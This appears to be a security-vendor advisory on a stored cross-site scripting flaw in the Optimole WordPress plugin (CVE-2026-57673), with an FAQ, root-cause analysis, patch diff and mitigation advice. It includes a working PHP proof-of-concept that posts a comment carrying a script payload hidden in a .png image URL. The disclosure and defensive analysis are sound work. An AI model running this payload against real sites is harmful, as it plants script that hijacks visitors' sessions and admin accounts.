What is CVE-2026-57673?

CVE-2026-57673 is a stored cross-site scripting (XSS) vulnerability found in the Optimole plugin for WordPress, affecting versions up to and including 4.2.7. It allows unauthenticated attackers to inject arbitrary JavaScript into pages, which executes when users access those pages.

How does this vulnerability work?

The vulnerability arises from insufficient input sanitization in the URL replacement functionality of the plugin. An attacker can submit a crafted image URL containing JavaScript, which is stored and executed when a user views the affected page.

Who is affected by this vulnerability?

Any WordPress site using the Optimole plugin version 4.2.7 or earlier is at risk. Administrators can check their plugin version in the WordPress admin dashboard under the ‘Plugins’ section.

How can I check if my site is vulnerable?

To determine if your site is vulnerable, check the version of the Optimole plugin installed. If it is version 4.2.7 or earlier, your site is susceptible to this vulnerability and should be updated immediately.

How can I fix CVE-2026-57673?

The vulnerability is fixed in version 4.2.8 of the Optimole plugin. Administrators should update to this version or later to mitigate the risk of exploitation.

What does a CVSS score of 7.2 indicate?

A CVSS score of 7.2 indicates a high severity level for this vulnerability. It suggests that successful exploitation could lead to significant impacts, such as unauthorized access to user data or administrative actions.

What are the practical risks associated with this vulnerability?

Exploitation of this vulnerability can lead to session hijacking, credential theft, and unauthorized actions performed on behalf of users. Since the attack is stored, it can affect all users who access the compromised page.

What is a proof of concept (PoC)?

A proof of concept (PoC) is a demonstration that shows how the vulnerability can be exploited. In this case, the PoC illustrates how an attacker can craft a malicious URL that, when processed by the plugin, executes JavaScript in the context of the user.

How does the proof of concept exploit the vulnerability?

The PoC constructs a malicious image URL that includes a JavaScript payload. When this URL is submitted through a comment or post, the plugin processes it as an image, allowing the JavaScript to execute when the page is viewed.

What should I do if I cannot update the plugin immediately?

If immediate updating is not possible, consider disabling the Optimole plugin until a patch can be applied. Additionally, review user permissions and limit access to comment submissions to reduce risk.

Are there any additional security measures I should take?

In addition to updating plugins, regularly review and sanitize user inputs, employ security plugins that monitor for XSS vulnerabilities, and maintain backups of your site to recover from potential exploits.

Where can I find more information about this vulnerability?

Detailed information about CVE-2026-57673 can be found on the National Vulnerability Database (NVD) and security advisories from WordPress security forums and the plugin’s official documentation.

Published : July 20, 2026

CVE-2026-57673: Optimole – Optimize Images | Convert WebP & AVIF | CDN & Lazy Load | Image Optimization <= 4.2.7 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

CVE ID CVE-2026-57673

Plugin optimole-wp

Severity High (CVSS 7.2)

CWE 79

Vulnerable Version 4.2.7

Patched Version 4.2.8

Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-57673: The Optimole plugin for WordPress versions up to and including 4.2.7 contains an unauthenticated stored cross-site scripting vulnerability. This issue exists in the URL replacement functionality. An attacker can inject arbitrary JavaScript into pages that gets executed when a user accesses the injected page. The vulnerability carries a CVSS score of 7.2.

The root cause lies in the `url_replacer.php` file, specifically within the function that handles image URL processing. The plugin constructs image URLs without sanitizing the user-controlled portion of the input before passing it to the `Optml_Config::$image_extensions` check. The vulnerable code path in `inc/url_replacer.php` at lines 163-166 lacks `esc_url()` sanitization. The plugin processes URLs from various sources, including those embedded in post content, comments, or custom fields. Without escaping, an attacker can craft a malicious URL that includes JavaScript payloads disguised as image file extensions.

An unauthenticated attacker can exploit this vulnerability by submitting content containing a crafted image URL. The attack vector involves sending a POST request to any WordPress endpoint that accepts and stores HTML content, such as `wp-comments-post.php` for comments or the REST API endpoints for posts. The malicious payload takes the form of a URL like `http://example.com/alert(‘XSS’).png`. The plugin processes this as an image URL due to the `.png` extension but fails to sanitize the script portion. The attacker does not need authentication because WordPress comment submissions (when enabled) and certain REST endpoints accept unauthenticated input.

The patch in version 4.2.8 adds `esc_url()` sanitization to the `$url` variable before it reaches the image extension check in `inc/url_replacer.php`. The change also includes a guard clause that returns the original URL if `esc_url()` produces an empty result, which occurs when the input contains malicious patterns. Before the patch, the URL was passed directly to `normalize_image()` without sanitization. After the patch, the URL is first run through WordPress’s URL escaping function, which strips dangerous characters and encodes others.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user who views the injected page. This can lead to session hijacking, credential theft, phishing attacks, and administrative actions performed on behalf of an admin. Since the attack is stored and requires no authentication, the impact is widespread and can compromise the entire WordPress installation.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/optimole-wp/inc/url_replacer.php
+++ b/optimole-wp/inc/url_replacer.php
@@ -163,6 +163,10 @@
 			$url = sprintf( '%s://%s', is_ssl() ? 'https' : 'http', $url );
 		}
 		$normalized_ext = strtolower( $ext );
+		$url = esc_url( $url );
+		if ( empty( $url ) ) {
+			return $original_url;
+		}
 		if ( isset( Optml_Config::$image_extensions[ $normalized_ext ] ) ) {
 			$new_url = $this->normalize_image( $url, $original_url, $args, $is_uploaded, $normalized_ext );
 			if ( $is_uploaded ) {
--- a/optimole-wp/optimole-wp.php
+++ b/optimole-wp/optimole-wp.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name:       Image optimization service by Optimole
  * Description:       Complete handling of your website images.
- * Version:           4.2.7
+ * Version:           4.2.8
  * Author:            Optimole
  * Author URI:        https://optimole.com
  * License:           GPL-2.0+
@@ -87,7 +87,7 @@
 	}
 	define( 'OPTML_URL', plugin_dir_url( __FILE__ ) );
 	define( 'OPTML_PATH', plugin_dir_path( __FILE__ ) );
-	define( 'OPTML_VERSION', '4.2.7' );
+	define( 'OPTML_VERSION', '4.2.8' );
 	define( 'OPTML_NAMESPACE', 'optml' );
 	define( 'OPTML_BASEFILE', __FILE__ );
 	define( 'OPTML_PRODUCT_SLUG', basename( OPTML_PATH ) );
--- a/optimole-wp/vendor/codeinwp/themeisle-sdk/assets/js/build/about/about.asset.php
+++ b/optimole-wp/vendor/codeinwp/themeisle-sdk/assets/js/build/about/about.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-components', 'wp-element'), 'version' => '8d9c74cada5a40e4082b');
+<?php return array('dependencies' => array('react', 'wp-components', 'wp-element'), 'version' => '33f2e4c85280a9cf0f4e');
--- a/optimole-wp/vendor/codeinwp/themeisle-sdk/load.php
+++ b/optimole-wp/vendor/codeinwp/themeisle-sdk/load.php
@@ -14,7 +14,7 @@
 	return;
 }
 // Current SDK version and path.
-$themeisle_sdk_version = '3.3.52';
+$themeisle_sdk_version = '3.3.53';
 $themeisle_sdk_path    = dirname( __FILE__ );

 global $themeisle_sdk_max_version;
--- a/optimole-wp/vendor/codeinwp/themeisle-sdk/src/Loader.php
+++ b/optimole-wp/vendor/codeinwp/themeisle-sdk/src/Loader.php
@@ -268,6 +268,42 @@
 			'newsHeading'      => 'Stay connected for news & updates!',
 			'emailPlaceholder' => 'Your email address',
 			'signMeUp'         => 'Sign me up',
+			'services'         => [
+				'ariaLabel'       => 'Themeisle services',
+				'trustpilotLabel' => 'Rated excellent on Trustpilot',
+				'trustpilotRated' => 'Rated',
+				'trustpilotOn'    => 'on',
+				'trustpilotBrand' => 'Trustpilot',
+				'heading'         => 'Expert WordPress services from the Themeisle team',
+				'description'     => 'Done for you by the same people who build your plugins and themes.',
+				'cta'             => 'Explore all services',
+				'items'           => [
+					'websiteDesign' => [
+						'title'    => 'Website Design',
+						'subtitle' => 'Built for your business',
+					],
+					'support'       => [
+						'title'    => 'Support',
+						'subtitle' => 'On-demand expert help',
+					],
+					'speed'         => [
+						'title'    => 'Speed Optimization',
+						'subtitle' => 'Core Web Vitals boost',
+					],
+					'seo'           => [
+						'title'    => 'SEO Foundation',
+						'subtitle' => 'Rank & get found',
+					],
+					'maintenance'   => [
+						'title'    => 'Maintenance',
+						'subtitle' => 'Updates, backups, security',
+					],
+					'hackedSite'    => [
+						'title'    => 'Hacked Site Repair',
+						'subtitle' => 'Malware removed fast',
+					],
+				],
+			],
 			'installNow'       => 'Install Now',
 			'activate'         => 'Activate',
 			'learnMore'        => 'Learn More',
--- a/optimole-wp/vendor/codeinwp/themeisle-sdk/src/Modules/About_us.php
+++ b/optimole-wp/vendor/codeinwp/themeisle-sdk/src/Modules/About_us.php
@@ -225,6 +225,7 @@
 				'newsHeading'      => Loader::$labels['about_us']['newsHeading'],
 				'emailPlaceholder' => Loader::$labels['about_us']['emailPlaceholder'],
 				'signMeUp'         => Loader::$labels['about_us']['signMeUp'],
+				'services'         => Loader::$labels['about_us']['services'],
 				'installNow'       => Loader::$labels['about_us']['installNow'],
 				'activate'         => Loader::$labels['about_us']['activate'],
 				'learnMore'        => Loader::$labels['about_us']['learnMore'],
--- a/optimole-wp/vendor/codeinwp/themeisle-sdk/src/Modules/Dashboard_widget.php
+++ b/optimole-wp/vendor/codeinwp/themeisle-sdk/src/Modules/Dashboard_widget.php
@@ -123,6 +123,10 @@
 		}
 		?>
 		<style type="text/css">
+			#dashboard-widgets #themeisle .hndle {
+				padding-left: 39px;
+			}
+
 			#themeisle ul li.ti-dw-recommend-item {
 				padding-left: 7px;
 				border-top: 1px solid #eee;
@@ -135,7 +139,6 @@
 				background-repeat: no-repeat;
 				background-position: 2% 50%;
 				background-size: 25px;
-				padding-left: 39px;
 			}

 			#themeisle .inside {
--- a/optimole-wp/vendor/codeinwp/themeisle-sdk/src/Modules/Promotions.php
+++ b/optimole-wp/vendor/codeinwp/themeisle-sdk/src/Modules/Promotions.php
@@ -209,7 +209,7 @@
 		add_filter( 'themeisle_sdk_ran_promos', '__return_true' );

 		if ( get_option( $this->option_neve, false ) !== true ) {
-			add_action( 'wp_ajax_themeisle_sdk_dismiss_notice', 'ThemeisleSDKModulesNotification::regular_dismiss' );
+			add_action( 'wp_ajax_themeisle_sdk_dismiss_notice', 'ThemeisleSDKModulesNotification::dismiss' );
 		}
 	}

--- a/optimole-wp/vendor/composer/installed.php
+++ b/optimole-wp/vendor/composer/installed.php
@@ -29,9 +29,9 @@
             'dev_requirement' => false,
         ),
         'codeinwp/themeisle-sdk' => array(
-            'pretty_version' => '3.3.52',
-            'version' => '3.3.52.0',
-            'reference' => 'd1ae68cbd4f84934b4d982e9eeff317b9f4c814a',
+            'pretty_version' => '3.3.53',
+            'version' => '3.3.53.0',
+            'reference' => 'a657eaedf62cc84c82e539167ac9e19b3e618ce8',
             'type' => 'library',
             'install_path' => __DIR__ . '/../codeinwp/themeisle-sdk',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-57673 - Optimole – Optimize Images | Convert WebP & AVIF | CDN & Lazy Load | Image Optimization <= 4.2.7 Unauthenticated Stored Cross-Site Scripting

$target_url = 'https://example.com'; // Change this to the target WordPress site
$payload = '<script>alert(document.cookie)</script>';

// Craft the malicious URL that exploits the unsanitized URL processing
// The plugin will process this as an image URL due to the .png extension
$malicious_url = $target_url . '/' . urlencode($payload) . '.png';

// Prepare the comment data with the malicious URL embedded in content
$comment_data = array(
    'comment_post_ID' => 1, // Target a post that exists
    'comment_author' => 'AtomicEdge',
    'comment_author_email' => 'test@atomicedge.com',
    'comment_content' => 'Check this image: <img src="' . $malicious_url . '" />',
    'comment_type' => '',
    'comment_parent' => 0
);

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-comments-post.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($comment_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Check if the submission was successful (HTTP 302 redirect is typical)
if ($http_code == 302 || $http_code == 200) {
    echo "[+] Exploit submitted successfully.n";
    echo "[+] Payload: " . $payload . "n";
    echo "[+] Visit the post to trigger XSS when a user views it.n";
} else {
    echo "[-] Exploit submission failed. HTTP code: " . $http_code . "n";
}

Frequently Asked Questions

What is CVE-2026-57673?
Description of the vulnerability
CVE-2026-57673 is a stored cross-site scripting (XSS) vulnerability found in the Optimole plugin for WordPress, affecting versions up to and including 4.2.7. It allows unauthenticated attackers to inject arbitrary JavaScript into pages, which executes when users access those pages.
How does this vulnerability work?
Mechanism of exploitation
The vulnerability arises from insufficient input sanitization in the URL replacement functionality of the plugin. An attacker can submit a crafted image URL containing JavaScript, which is stored and executed when a user views the affected page.
Who is affected by this vulnerability?
Identifying vulnerable installations
Any WordPress site using the Optimole plugin version 4.2.7 or earlier is at risk. Administrators can check their plugin version in the WordPress admin dashboard under the ‘Plugins’ section.
How can I check if my site is vulnerable?
Verification steps for administrators
To determine if your site is vulnerable, check the version of the Optimole plugin installed. If it is version 4.2.7 or earlier, your site is susceptible to this vulnerability and should be updated immediately.
How can I fix CVE-2026-57673?
Steps to mitigate the vulnerability
The vulnerability is fixed in version 4.2.8 of the Optimole plugin. Administrators should update to this version or later to mitigate the risk of exploitation.
What does a CVSS score of 7.2 indicate?
Understanding the severity rating
A CVSS score of 7.2 indicates a high severity level for this vulnerability. It suggests that successful exploitation could lead to significant impacts, such as unauthorized access to user data or administrative actions.
What are the practical risks associated with this vulnerability?
Potential impacts on affected sites
Exploitation of this vulnerability can lead to session hijacking, credential theft, and unauthorized actions performed on behalf of users. Since the attack is stored, it can affect all users who access the compromised page.
What is a proof of concept (PoC)?
Demonstration of the vulnerability
A proof of concept (PoC) is a demonstration that shows how the vulnerability can be exploited. In this case, the PoC illustrates how an attacker can craft a malicious URL that, when processed by the plugin, executes JavaScript in the context of the user.
How does the proof of concept exploit the vulnerability?
Details of the PoC method
The PoC constructs a malicious image URL that includes a JavaScript payload. When this URL is submitted through a comment or post, the plugin processes it as an image, allowing the JavaScript to execute when the page is viewed.
What should I do if I cannot update the plugin immediately?
Temporary mitigation strategies
If immediate updating is not possible, consider disabling the Optimole plugin until a patch can be applied. Additionally, review user permissions and limit access to comment submissions to reduce risk.
Are there any additional security measures I should take?
Best practices for WordPress security
In addition to updating plugins, regularly review and sanitize user inputs, employ security plugins that monitor for XSS vulnerabilities, and maintain backups of your site to recover from potential exploits.
Where can I find more information about this vulnerability?
Resources for further reading
Detailed information about CVE-2026-57673 can be found on the National Vulnerability Database (NVD) and security advisories from WordPress security forums and the plugin’s official documentation.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations